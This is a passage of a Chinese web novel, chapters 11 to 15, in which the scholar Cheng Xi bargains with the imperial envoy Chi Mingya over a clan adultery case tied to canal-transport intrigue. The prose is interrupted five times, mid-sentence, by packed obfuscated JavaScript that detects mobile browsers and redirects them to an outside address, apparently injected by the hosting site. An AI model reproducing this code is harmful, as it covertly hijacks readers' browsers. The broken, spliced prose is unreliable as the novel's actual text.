“愚弟运气较好,总角之年就考上了秀才,是以也没有被取字。”程曦连忙说道。 池明崖释放好意:“愚兄和贤弟一见如故,如果贤弟不介意,待愚兄的老师来了,愚兄请他为你取一字如何?” “固所愿也,不敢请耳。”程曦作揖,并没有问池明崖的老师是谁。 池明崖只觉得理所当然:如果连自己老师是谁,为什么会过来这边都需要打听,这位程秀才的名字也摆不上老师的桌案了。 就是这家伙太难对付,自己只是想要知道程氏宗族这个案子背后的东西,结果这家伙进来后纳头便拜,要不是自己反应快,都多出一个弟子了。 通过这番举动,池明崖也知道程曦显然是不见兔子不撒鹰的角色,自己端着架子要问他什么事情,他是不会说的,只能顺坡下驴,给老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374202|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师找点事情做了。 毕竟,帮“欣赏”的后进学生取字,总好过多了一个徒孙吧? 程曦自然知道,但是能够达成现在的结果,也已经心满意足了,毕竟池明崖的老师可是现在的内阁辅政大臣、刑部尚书、太子太师呢! 能把刑部尚书派过来查案,可见当今对于河道总督御史的死亡有多么震怒了。 只是刑部尚书年纪毕竟大了,出于体谅老臣的想法,皇帝还点了他的弟子快马先行,先往县城来了,这才是贵嫂告状时候误打误撞没犯到县令手上的原因。 至于程曦是怎么知道这么多的?程曦确实如同族兄所言,这两天都没有出门,但是问题在于钦差升堂的时候也是需要穿全套官服的! 这个年纪,这个脸蛋,这个官位,朝堂上有几位?稍微用一下排除法,还有什么不明白的? 这年头,想要混官场,就不能闭目塞听,程曦对于京城的情况那是了如指掌,猜到钦差的身份之后,早就推测了一场朝堂的博弈。 刚好,秦国公府的家仆刚刚拜访过自己。 刚好,池明崖的老师和秦国公府有仇。 刚好,自己从贵嫂家知道的消息还挺值钱。 那还有什么好犹豫的?当然是上门求见啊! 这一求见,程曦就知道自己的猜测没错,如果不是池明崖早早派人叮嘱了门房,自己连碎银子都没塞,门房能这么客气? 程曦没有想到的是,在这种情况下,这位池状元居然还能这么端得住,程曦可不就只能和他比一下到底谁更没下限了吗? 后天修炼厚黑学的池明崖到底比不过程曦这种天赋异禀的货色,最终折中地认了一个输。 程曦穿越之前就受到社会不少毒打,已经明白得了便宜就不要卖乖的道理,得到池明崖的交换条件之后,主动开口说道:“明崖兄有所不知,我这宗族的疑似通奸案,后面可没那么简单。” 过去一天,池明崖也不是什么都没干的:“怎么说?这漕运背后有问题?” 池明崖会管一个小小的通奸案,背后的原因就是因为这个案子能够和漕运扯上关系,而他们就是来查河道总督御史身亡案,和漕运怎么都扯不开关系。 这也是当时程曦笃定贵嫂不用怕见官,见官一定会见钦差的原因之一。 “不仅仅是漕运,愚弟只怕,这后面的事情挖出来,明崖兄你们是讨不到好。”程曦感慨。 “哦?何出此言?”池明崖问道。 “明崖兄平日里看话本吗?觉得这豆腐西施和漕运头子……相配吗?”程曦问道。 池明崖的身体微微坐地更直,看向程曦:“都是市井打滚的人,想来是能够互相理解的?” “可这话本里的爱情,那必须要才子配名妓、王爷配村姑、娇女配莽夫、金枝配侍卫,才有吸引力不是?”程曦嘴角含笑。 池明崖看向程曦的眼睛中露出了不可思议的目光。 程曦同情地看向他:是的!就是你想的那样!这事咱都跑不掉,要被坑惨了! 12. 第 12 章 别看程曦现在好像精神状态很好的样子,其实已经活人微死一段时间了。 本来就算猜到池明崖的,程曦都不急不忙,还有心思先送一下福丫,但是送完福丫,程曦半点都没有犹豫,就让族兄把自己送到了池明崖的落脚地。 毕竟这锅太大了,程曦一个人实在是背不动,还是要找血厚的才行。 “血厚”的池明崖看着程曦貌似真诚的双眼,沉默了。 不是?小兄弟你怎么回事?你明知道有坑,还敢问我要够好处再告诉我?你正常吗? 池明崖忽然想起程曦在公堂上说的那些证明的话,不得不承认一个事实:他真的不太正常。 人总不能、更不应该和一个脑子有病的人计较。 池明崖深吸一口气,问程曦:“所以能够和豆腐西施谱写旷世绝恋的人,一般是什么角色呢?” 其实程曦也不是很确定,但是总归就是四选一。 “是他,从小在宫墙中长大,只能感受到深宫的冰冷,意外被热气满满的豆腐西施家中的人间烟火所吸引的皇子?” “是他,一直生活在阴影处,作为掌权者最锋利的刀,意外被傻白甜的豆腐西施的满心满眼专注爱意吸引的暗卫?” “是他,因为家族账务大权,所以被皇帝深深地忌惮,意外被为自己包扎伤口端来热汤的豆腐西施吸引的将军?” “还是他,为皇兄挡枪而受伤,深受皇帝信任委以重任,意外被易孕体质怀上自己独苗的豆腐西施吸引的王爷?” 说起抽象这种事情,程曦出生以来都鲜逢敌手。 池明崖听着程曦的话,忍不住嘴角抽搐了一下,而后说道:“贤弟如果有天不当师爷,去写话本也一定能在闺阁中风靡一时。” “过奖过奖。”程曦是不会觉得不好意思的:“所以明崖兄有头绪吗?” 池明崖也顾不上什么哑谜了,直接说道:“太医都说了,忠亲王不可能生,你怎么还猜测是他?” 程曦的猜测当然是因为族长的动作。 “明崖兄有所不知,”程曦解释道:“程氏族长的第二子,目前是福建巡抚的幕僚。” 不用说太多,只要说出福建巡抚,池明崖这种脑子里早就有官场全套关系网的人就已经明白各种关系了,总结一下:这是自己老师的政敌。 “前几天族长下手制造通奸案,应该是接到了我二伯的指示,”程曦解释道:“他们一开始是打着坏名声的主意,而后才是将人娶进来控制住儿子的主意。” 说完,程曦还概括提炼了一下自己从贵嫂娘家得知的信息。 “这么说来,只有对自己生育能力最没有自信的忠亲王,才会因为名声差容易偷人而对孩子的血脉产生怀疑?” 池明崖摇头:“不可能是忠亲王。” 听到这个说法,程曦立马就有了联想:“当初忠亲王为皇上挡掷枪伤到生育能力,是伤到要害的那种?” 看到程曦一脸惊讶的样子,池明崖很有技巧地回答道:“不该打听的别多打听。” 程曦顿时明白了:不否认就是承认,这么说来,难怪皇帝直接给忠亲王直接封了亲王啊! 皇子和将军什么的,池明崖结合他们的出京时间地点,大概能猜到是谁,只是这暗卫:“你说的暗卫是什么?” 程曦笑了:“就是皇上最信任的那个,明銮卫啊!” 池明崖立刻明白过来:“有明銮卫偷偷生子?” 程曦点头,并且表示了理解:“人家也是没办法,毕竟这年头,当明銮卫的风险实在是太高了,动不动就是下大狱,咱们清流还能喊一喊大佬捞捞,明銮卫这种没人捞的,死亡率太高了,还经常祸及家人,在外面留个种免得断子绝孙也很正常嘛!” “也因此,对方要遮遮掩掩,用漕帮中人的身份,漕帮中的人也愿意帮他遮掩,以获得以后得帮助,”池明崖脸色凝重:“而知道了这个消息的人,想着利用这个孩子,来获取皇帝布置给明銮卫的一些秘密消息。” “也不一定,”程曦说道:“因为没办法解释毁掉名声会有什么用处,没准他们就是猜测是忠王爷的孩子呢?” “照你这么说,那他们毁掉名声又有什么好处?忠王爷就是没有孩子,他们也……” 说到这里,池明崖反应过来:“忠王爷打算过继了?” 程曦摊手:“那就不知道了,不过毁掉名声的好处你也知道了,所以没准就是他们误会了呢?” 池明崖看着程曦说道:“不管他们是否误会,能够证明那人身份的只有漕帮死去的头领,但是他已经死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374203|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “漕帮也给出了非常好的争孩子的理由,为了分割财产。”程曦补充道:“究竟是真的为了分割财产,还是为了让孩子亲爹帮他们遮掩问题,也说不好。” 池明崖叹气一声:“贤弟你可真是给我们带来了一个大麻烦啊。” 程曦拒绝这种说法:“怎么能说是我带来的呢?本来你们查案,就避不开漕帮,避不开漕帮,那肯定要查这头领死亡后的财产分配问题,到时候也会查到这个案子上,如果那时候我那个族长家已经得逞了,你们反而会陷入不利的境地,对不对?从这个角度来看,明崖兄你应该感到高兴才对,好歹防患于未然了不是?” 非常对,但是人碰到这种事情怎么可能高兴的起来? 虽然不高兴,但是池明崖也知道什么叫做投桃报李,于是告诉了程曦一些信息。 “你猜测的那位五皇子,也可以排除在外了。”池明崖说道。 “怎么?难道五皇子好男风的说法是真的?”程曦惊叹。 池明崖斜眼看了程曦一眼,没忍住说道:“因为他来江南办事的时候,一直就在青楼楚馆流连忘返,如果按照你今天得知的消息,那位身上的脂粉味可洗不掉。” 程曦一脸“这你都知道”的表情,惹来池明崖解释了一句:“因为当初来这边,事情都是我师弟做的,但是功劳都是五皇子领的。” 程曦感慨:还是要师门给力啊,只要师兄师弟足够多,倒是都是了解八卦的地方。 可能是觉得这些信息还不够,池明崖继续说道:“至于那位将军,是真的郎朗君子,不用这般揣测他。” “所以已经确定是明銮卫的孩子了?”程曦明白过来,这事池明崖给自己的回报。 池明崖点头:“应该是没错了。” “看来这漕帮和幕后之人所图甚大啊!不知道明崖兄想好破局的点了没有?”程曦问道。 池明崖心思灵透:“贤弟有什么建议?” 程曦一笑,说了句风马牛不相及的话:“说起来,前几天秦国公府派了两位家仆,来请我给他们新中进士的少爷当师爷呢,这秦国公府中进士的是哪位少爷?我之前完全都没听说过,不如明崖兄给愚弟介绍一下?” 池明崖立刻提炼到了信息:秦国公府有家仆来过这边! 13. 第 13 章 论起政治斗争能力与潜台词识别,池明崖绝对是这个时代的顶级水平。 毕竟这年头,能当上状元的,那必须把文章写到阅卷人和皇帝的心坎上,揣摩上司心思的能力就不会差。 但是大虞王朝这么多年也有好几十位状元,能和池明崖一样拜了大佬当老师,年纪轻轻升上五品穿上红袍的,无一不是人中龙凤,除了家里有人保驾护航的,一个个心眼子比筛子都多。 所以程曦提及秦国公府,如果是程曦的族兄,可能还会问怎么突然换了个话题,但是池明崖就立刻心领神会了。 “秦国公府的人这时候正好出现在附近,想来和青玉坠河案脱不开关系。”池明崖立刻说道。 “我不过突然想到,问一下您秦国公府是哪位公子考上了进士?您怎么突然说什么青玉坠河案?这是我能听的吗?”程曦装傻装得一点也不委婉。 池明崖的养气功夫确实不错,听到程曦的话,也只是微微一笑,对着程曦说道:“朝廷重臣死于坠河一事,县里都快传遍了,程秀才这时候假装不知道,反而不太合理吧?” “哎呀,确实,您说了青玉,我就不清楚了,您早说是这个传遍了的案子啊!”程曦倒打一耙,否认到底:“说起来确实奇怪,怎么秦国公府的人突然来找我这么个名不见经传的小师爷呢?怕不是拿我当借口?” 池明崖一脸“肯定如此”的表情点头道:“想来他们和这件事情脱不开关系,干脆请他们过来询问调查一番好了。” 程曦闻言略带惊讶地看向池明崖:不是吧兄弟?你这么良善的吗?询问调查? 程曦觉得自己需要给池明崖指一条明路:“说起来,运河边拐个弯的地方有一家摆了几十年的馄饨摊子,摊主刘老汉的手艺很是不错,我平日里过来,也喜欢去吃。” 池明崖不明白程曦为什么突然提起刘老汉,但是不影响他静观其变,于是附和道:“程贤弟都喜欢,想来味道肯定很好,愚兄有空也过去试试。” “刘老汉这么好的手艺,肯定有人一直挂怀,也不知道有没有孝子贤孙为了自己年迈的父母请他过去外地做馄饨吃?”说完,程曦还不忘补充:“说起来,秦国公府的两位家仆也是很会打听消息的人,过来城里投宿之前,还想去刘老汉的摊子上吃馄饨,听人说还是刘老汉看到镇抚司的人出动,急着收摊走人,他们才没吃上。” 程曦话音未落,池明崖已经下意识地眯了眯眼睛。 池明崖此时已经真心地欣赏起程曦了,想起秦国公府抢人的打算,池明崖甚至想和老师提议,别拿程曦当误导秦国公府的挡箭牌了,要是他真的跟着秦国公府跑了,我们都要被坑死了! 听听程曦这毒计,完全无懈可击。 朝廷重臣的尸体在运河被发现,运河不远处拐弯就是一个摆了几十年的摊子,摊主说不定有看到过什么,秦国公府两位家仆是摊主收摊之前最后和他搭话的陌生人,摊主失踪,自己作为钦差有足够理由怀疑是秦国公府的人参与其中暗害目击证人刘老汉,于是抓捕秦国公府两位家仆仔细审问。 合情合理更合法。 就连刘老汉怎么“失踪”,程曦都给出了解答:一定有孝子贤孙想请刘老汉去外地给离乡许久的父母回忆家乡的味道。 这个理由,进可攻退可守,只要别严刑逼供,秦国公府的少爷亲自过来也挑不出刺来,毕竟本官也是为了国公府的清白,不得不收监两位嫌疑人的啊! 池明崖再次感慨程曦真是皮厚心黑,如果他身体好点能够继续进学考上进士,自己一定要将他引入门樯成为师弟,不为别的,就是这种人放在自己的阵营可能没啥用,但是与他为敌实在是太不明智了——谁知道他能搞出什么幺蛾子呢? 程曦也不是白白给池明崖出主意的,而是程曦知道,对于这种上位者,要明白欲要取之,必先予之的道理。 看到池明崖欣赏中带着微微震惊的模样,程曦知道,时机到了。 “看愚弟这说了大半天杂七杂八的,实在是太耽误明崖兄您的时间了,也不知道明崖兄有没有烦了愚弟。”程曦熟练地运用着社交辞令。 “怎么会,我和程贤弟一见如故,要不是案情紧急,愚兄巴不得贤弟多来拜访,好能多听听贤弟的高见呢!”池明崖按照规矩客套道。 “明崖兄太客气了,”程曦笑呵呵地说道:“说起来,愚弟最近打算找一东主当师爷,没准还有再见明崖兄的机会,也不急于现在一时。” 池明崖闻弦歌而知雅意:“程贤弟居然有做幕僚师爷的意愿!这可真是久旱逢甘霖,我师叔家的孩子最近正在找师爷呢!也不知道程贤弟能否看得上?” 程曦心里立刻计较起来:池明崖的师叔都有谁? 一边想着,程曦的嘴巴也没闲着:“明崖兄介绍的,自然是极好的,就是这秦国公府毕竟是先来邀请的,我当时也没有一口回绝,所以还是要先和秦国公府交代一番才行。” 程曦这话,相当于明确告诉池明崖,我打算用你们当理由拒绝秦国公府了。 池明崖却也不虚,甚至还投桃报李,和程曦解释道:“如果贤弟告诉秦国公府打算给我这个小师弟当幕僚,那算是得罪他们了。” “哦?何出此言?”程曦挑眉:“秦国公府家大业大,也不差一两个师爷吧?” “这事说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374204|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话长。” “那就请明崖兄长话短说?”程曦可不会惯着,你一个能把国策建议缩略成两三千字写在考卷上并且获得大佬和皇帝一致认可的人,简单的归纳总结能力还没有了? 第一次被人直接要求长话短说的池明崖无奈道:“因为秦国公府的少爷和我的小师弟有仇。” 确实是长话短说了,就是太短了点……程曦差点露出死鱼眼。 “这么说来,愚弟如果接受秦国公府,也会和您的师门结仇喽?”程曦不在意解释内容太短,只在意信息量:“那么对比起来,我还是和秦国公府结仇吧!” 听到程曦的话,池明崖不禁问道:“贤弟不问问为何两人会结仇?也许是我们这边不对呢?” “我未来东主怎么可能会不对?”程曦立马反驳。 “那要是就是他先动手的呢?”池明崖问。 “那肯定是秦国公府有欠揍之处。” “要是他先骂人惹来别人报复呢?” “仗义执言,大丈夫当如是!” “要是他看不惯,嫉妒秦国公府少爷所以……” “欲望是人攀登的源泉。” “要是那秦国公府少爷是嫉妒我师弟?” “面部可憎!不成大器!不遭人妒是庸才!” 池明崖:这家伙可真护短啊!这下子更不能让他给对手做贡献了。 就在池明崖思考怎么把程曦绑死在自己这边的船上时,程曦突然一拍脑袋:“有件事差点忘了,明崖兄,这秦国公府的家仆在这边人生地不熟,说起来也就认识我这么一个人,要是他们被官府讯问,那我作为专业人员,肯定要义不容辞伸出援手啊!”程曦笑得灿烂:“到时候您别让人拦着不让我进去看我的两位委托人啊!” 池明崖再次提高了对于程曦的认知:怎么会有他这种人? 而后又不得不承认,程曦给的这个投名状实在是太有分量了。 心里这么想着,试图拒绝的池明崖找了个理由:“我朝律法有规定,一名讼师不能同时替关联案件不同方的人员上堂。” “这通奸案涉及漕运,和刘老汉失踪案有关联,你不能同时代理。”池明崖貌似遗憾地说道。 “哎呀,说起律法,我比您熟!”程曦笑嘻嘻:“这限制的是在审的案子,您加把劲,赶紧把我嫂子的案子完结了,不就正好了吗?” “完结?怎么完结?”池明崖的眼神里透露了非常清晰的意思:你不会打算让用用你公堂上说的办法吧? 程曦一脸真诚:“咱不是能够证明男人喝醉了硬不起来吗?” 池明崖:不是?程曦你有病吧?! 14. 第 14 章 “有病”的程曦获得池明崖口头承诺“我会尽快结案”,并被“赶”了出来。 被“友好地”送出门后,程曦本人还很淡定地整理了一下袖子,然后才向茶楼走去。 茶楼里,族兄可谓是坐立难安、望眼欲穿,一看到程曦,就连忙拉着他上了牛车。 上了牛车,走到没人的路段,族兄才憋不住问道:“曦哥儿你之前认识钦差不成?” 程曦双手背在脑后,仰躺在牛车上:“族兄你在想什么呢?我之前和他毫无交集,怎么可能认识他?” 族兄闻言不解:“你不认识他,怎么就突然上门拜访,人家还客气地把你请进去了?” 程曦满嘴跑火车:“可能是他会相面之术,看出来我以后能够飞黄腾达,就和历史上那些有名的道士一样,所以直接放我进去了?” 族兄一时之间都不知道程曦说的是真话还是假话。 如果说他在说假话,那钦差为什么要对他另眼相看?如果是真话……怎么想都不对啊。 族兄知道自己的脑子是玩不过程曦的,于是放弃思考,直接问程曦:“钦差大人请你进去,说了些什么内容啊?” 程曦思考了一瞬,回答道:“大家就是和我讨论了一下治学态度和人生哲学,然后听取了我对贵嫂这个案子的建议。” 怎么不算听取呢?无非是没有采纳罢了。 族兄并没有发现程曦语言的艺术,闻言问程曦道:“这案子钦差大人是怎么想的?” 程曦并不知道池明崖打算怎么判决,于是只能回答道:“钦差大人的心思,我们怎么揣摩地透呢?他只是说他知道了,并没有告诉我,但是也说了他会尽快结案。” “能尽快结案已经不错了,”族兄连忙说道:“这牢里多待一天就是多受一天的罪,早点结案人能出来多好,而且看样子钦差大人并不是徇私之人,这案子那么多疑点,他不可能直接判通奸的。” 程曦闻言点头,一脸正经:“可不是嘛!” 牛车载着程曦摇摇晃晃地走在出城的路上,在房间靠窗位置喝茶的墨秋一抬眼看到程曦,立马呼唤同伴:“砚秋哥,你看,程曦在那里。” 砚秋快走两步到窗前,看到程曦后皱眉:“他这是从哪里回家的?” 能够判断出程曦打算回家并不是一件难事,族兄家里也不是什么富裕人家,不可能空车从县城来回,除了自己家的,还帮关系好的人家带了东西。 砚秋一看到程曦枕着的布匹,就知道他们是买好了东西打算回家的。 当然,砚秋也没有误会程曦在专门出来采购,毕竟这年头,有功名的读书人不会干这种丢份儿的事,他们要么有书童家仆,要么有妻子父母儿女,像程曦这种会亲自上场采购砍价的异类是绝对少数,砚秋按照常理推断,却是歪打正着,排除了错误答案。 “下楼分头去打听打听,这程状师又干出什么事情了?”砚秋对墨秋说道。 墨秋在房间里坐得无聊,闻言立刻响应,拿了钱袋就率先下了楼。 这几天两人等着少爷回信,但也不是白待的,还是结交了一些人,墨秋下楼后不久,就打听到程曦宗族的这个案子,一惊一乍地听人描述公堂发生过的事情,给足了对方情绪价值。 砚秋和墨秋性格不同,结交的人员也不一样,相比于公堂的内容,听到了更多程氏族长不做人、程家有人在给福建巡抚当师爷、漕帮最近来县里之类的秘闻。 等两人回去一合计,发现就这么几天功夫,程曦这边发生了不少事情,自己两人怕生事没有出门,消息反而落后了。 砚秋当机立断给少爷再去一封信,写明目前打听到的消息,好方便少爷作出更加明确的判断。 写信并不是砚秋的专属,池明崖也在写信。 信中,池明崖详细阐述了自己对于程曦的判断,让老师务必要替师弟留下程曦,不能放这个祸害出去反过来祸害自己。 收到得意门生的来信,杨阁老第一次露出难以理解的表情,从小过目不忘的他甚至没忍住把信看了第二遍,才接受了事实。 杨阁老用自己人生这几十年的经验思考,同样无法明白程曦的想法,但是好在宦海沉浮几十年,杨阁老已经见惯了无法理解的人事物,对于所有事情都有一个淡然处之的态度。 因此,哪怕觉得程曦太过出格,杨阁老也并不因此小看他。 杨阁老淡定地把信递给了侍奉在自己身边的小儿子:“你师弟的来信,你看看,说说你的想法?” 早在杨阁老从头阅读第二遍的时候,小儿子就已经很好奇什么内容能让自己亲爹读第二遍了,按照礼节接过信件之后,便迫不及待地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374205|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读了起来。 这一读,小儿子也不免露出了难以置信的表情:这天底下还有程曦这种人? “你怎么看?”杨阁老考教小儿子。 “儿只能说,这位程秀才的性情,着实有点像被罢官又起复的那位富侍讲,比他更为天马行空。”小儿子说道。 听到儿子的回答,杨阁老抚须微笑:“富阳可没有这个程曦的心性。” “虽然两人都颇为不羁,想法为常人难以理解,但富阳出身富贵、父母疼爱,又年少得知,二十岁就考成了进士,而后入庶吉士,每天都和史书打交道,想法虽然清奇,但是也没什么杀伤力,连圣上也只是觉得他难当大任着实好笑,没有针对他的打算。” 杨阁老历经世事,通过学生的信件已经能够窥探程曦性情的一二:“但这位程秀才则不一样了。” “幼年丧母,少年丧父,既无伯叔兄弟,也未有妻舅儿息。”杨阁老分析道:“这程氏宗族的评价并不好,想来他是遭受过不少欺凌的。” 小儿子点头:“确实如此,明崖也说了,他交谈的时候甚至直言族长在算计程贵遗孀。” 杨阁老点头:“程家这个族长会算计程贵,就不可能没算计过程曦,只是这小子机灵,估计是被他躲了过去。” “从这方面来说,他和富阳的成长环境可谓是截然不同,所以这才造成了现在的程曦,”杨阁老说道:“虽然天马行空,但是他的主意又环环相扣颇为缜密,没有可以指摘的空间,甚至可以说是一个难以防范预料的毒计。” “确实如此,还是父亲慧眼。”小儿子叹服道。 “所以,如果需要收服程曦这种人,你会怎么做?”杨阁老把儿子带在身边,就是为了随时教导儿子,此时就等着儿子的回答。 不知道有人想要收服自己的程曦此时正好见到了来自己家中拜访的好友。 “稀客啊!你既不埋头苦读,也不享受红袖添香,来我家干什么?”好朋友才能这么损,程曦毫无顾忌地打趣。 好友看到程曦,无奈翻了一个白眼:“羡慕你就去娶妻!我过来是想要问你,你决定好效忠的对象了没?” “效忠对象?”程曦挑眉。 “你的东主啊!” 不是?东主是什么东西,也配让我效忠?程曦不解,程曦大为震撼。 15. 第 15 章 程曦觉得自己必须要纠正好友赵陆的错误认知:“东主不是主人,也不是主公,只是雇佣咱的人,怎么还说效忠不效忠这种话呢?” 说着,程曦又举例:“比如说那些店小二和掌柜的,也喊东家叫做东主,但是难道他们这辈子就一定干这一家店吗?” “做咱们师爷幕僚这一行的,最忌讳的就是真心实意地效忠客人。”程曦总结陈词:“效忠客人的,基本上没什么好下场,殚精竭虑死而后已也就算了,还会被猜忌怀疑,狡兔死、走狗烹!飞鸟尽、良弓藏!” 赵陆嘴角抽搐:一小段时间不见,程曦这家伙说话越来越没谱了。 虽然心里吐槽程曦嘴巴的不靠谱,但是赵陆也没打算纠正程曦的认知,作为多年好友,这么多年的经验告诉赵陆,千万不要和程曦辩论,不然只能气得自己吐血三升。 早就放弃辩论的赵陆说道:“意思就是那么个意思,嘴巴上说的好听点,人家东主听了心情也舒畅点不是?” “别说凭什么要让人家心情舒畅之类的话,”赵陆连忙补充道:“我们还是说正事,有人想要聘请你当师爷,找我来当说客来了。” 程曦撇嘴:“我们要用发展的眼光看人,都说士别三日当刮目相看,我已经不是十年前的我了好不好?如果说几句好话能够有好处,我不可能不干的!你还当我今年八岁?” 赵陆笑呵呵:“你能明白这个道理,也不辜负为父这么多年的教导。” “逆子!你怎么说话的呢!”程曦拍案而起,一把掐住赵陆的后脖子。 互为父子的两人闹了一会儿,才重新整理衣服坐了下来。 坐下来之后,赵陆还在嘀嘀咕咕地抱怨:“我衣服都被你弄皱了,这可是我娘子新给我做的衣服,回去我娘子要浆洗的话多不方便?” 程曦无语地翻了一个白眼:“你这么心疼你娘子,你倒是自己洗啊!” 赵陆美滋滋地说道:“你不懂,不是我不想洗,是我娘子舍不得我动手,还总说我洗不明白,其实我知道,这都是她心疼我,嘿嘿。” 程曦自认为自己多活这一辈子不是为了吃狗粮了,当即死鱼眼说道:“那你就别穿绫罗绸缎,换成粗布衣服,肯定洗得明白,你也要心疼一下嫂子不是。” 程曦不忘补充:“正好你做衣服省下来的钱可以给嫂子买一些金银首饰,一举两得。” 能够和程曦做朋友,赵陆早就可以抵挡他的精神攻击了:“我娘子说了,我穿得精神,是给她涨脸,算了我和你说什么,你这种没有妻子的人是不能体会的。” 程曦真想让嫂子看看赵陆这幅不值钱的样子,当即撸袖子:“你等着,我这就把你这幅样子画下来,寄给武鎏他们共赏!” “好了好了,”赵陆及时认怂道:“正事还没办呢!我给你说说托我这家人的情况。” 程曦做出侧耳倾听的姿态,给赵陆的茶杯续上水。 赵陆喝了口茶,说道:“这户人家,是江宁的大户。” “大户?盐商?”程曦第一反应就是商户人家。 “可不是!”赵陆一拍手:“你这个神算确实有点东西哈,一猜就猜到了。” 程曦无奈:“这种事不是很明显吗?大户人家,但是还需要找我这种师爷,找的还是你的关系,肯定不是历代读书的人家,我只擅长刑名钱粮,不擅长兵法,那肯定是商户人家,江宁的商户,还是你说的大户,不是盐商就是海商。” 赵陆颇有点追根究底的精神:“那为什么你猜测是盐商,没有猜测是海商呢?” 程曦给了赵陆一个无语的眼神:“海商能和你家拉上关系?” 赵陆一拍脑袋:“确实,我傻了。” 赵陆家中不过一里正,妻子家中经商但也只是小商人,海商要经营,合作的都是大商户,和赵陆扯不上什么关系,反而盐商因为需要分销,加上产业基本在本地也需要雇工,和赵陆家里以及赵陆妻子家中反而可能有联系。 拍完脑袋,赵陆对着程曦说道:“江宁吴家,你懂的,他们族里出来的读书人,族中不仅给了很多奖励,还替他聘请师爷,只有一个问题,这是个同进士,就算活动了,也只能去穷乡僻壤,想去富裕地方就只能当县丞,他们族里应该不允许,所以你跟着去也会吃不少苦头。” “不接。”程曦很淡定地一口回绝。 “不是,兄弟,虽然要去穷乡僻壤,但是他们家给的是真心多啊!”赵陆伸出了一个巴掌:“一年五百两!如果考评获得上等,奖励两百两,如果三年任期满了能够升职,奖励一千两!凭你的本事,三年下来少说有个两三千!咱干啥也不能和钱过不去啊!” 听到赵陆的话,程曦忽然觉得,其实也不是不能考虑,赵陆最后一句话说得对:咱干啥也不能和钱过不去啊! 于是程曦多打听了一下:“这个吴氏族人年龄多大?家里情况如何?有多少家人?家人在做什么?有没有娶妻?有没有孩子?” “你打听这些做什么?”话虽这么说,但是八卦的赵陆也早就打听清楚了:“这人家里关系挺简单的,他今年二十四岁,还没有娶妻,考上同进士之后,族里在帮他看妻子的人选呢!家里只有父母,五个姐姐都嫁出去了,嫁得都挺不错,不是富商就是举人,都能帮衬他。” “不接。”程曦再次一口回绝:“你帮我找个借口回复吴家,不行就说我性格狷狂,你不建议找我。” 赵陆不解:“为什么啊?” “二十四岁考上同进士,而不是押后一两届再考,说明此人心高气傲觉得自己能考上进士,但是没有自知之明,五个姐姐的独苗,说明在家格外受宠,估计不太弯得下腰,他二十四岁没有娶妻等着中进士才娶,肯定是一心用婚姻做筹码,想要娶个能助力自己的,也说明家里没有办法让他娶到满意的妻子,但是你说姐姐嫁的都不错,能够让你说不错,现在他中进士了还能帮衬他,肯定是家里只看中男方条件能不能有所助力,估计姐夫们都有坑,不是续弦就是人有问题。” “这种小户人家的大少爷,比大户人家的小少爷还难搞,你可别坑我!”程曦一脸拒绝。 “哪有不难搞又钱多的?!”赵陆叫屈:“我可没有坑你!你说说,这么多钱,要是人没点小毛病,你拿着也不安心啊!” 程曦一脸痛心疾首:“枉我以为我们这么多年好友,你应该了解我啊,我是那种为了钱可以受气的人吗?” 赵陆非常肯定:“你是!先忍着把钱拿到手,后面再偷偷坑人报复回去的那种人就是你了。” 程曦:……朋友应该了解我,但是也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382782|168266||http|test|mini|href|location''.split(''|''),0,{})); () { 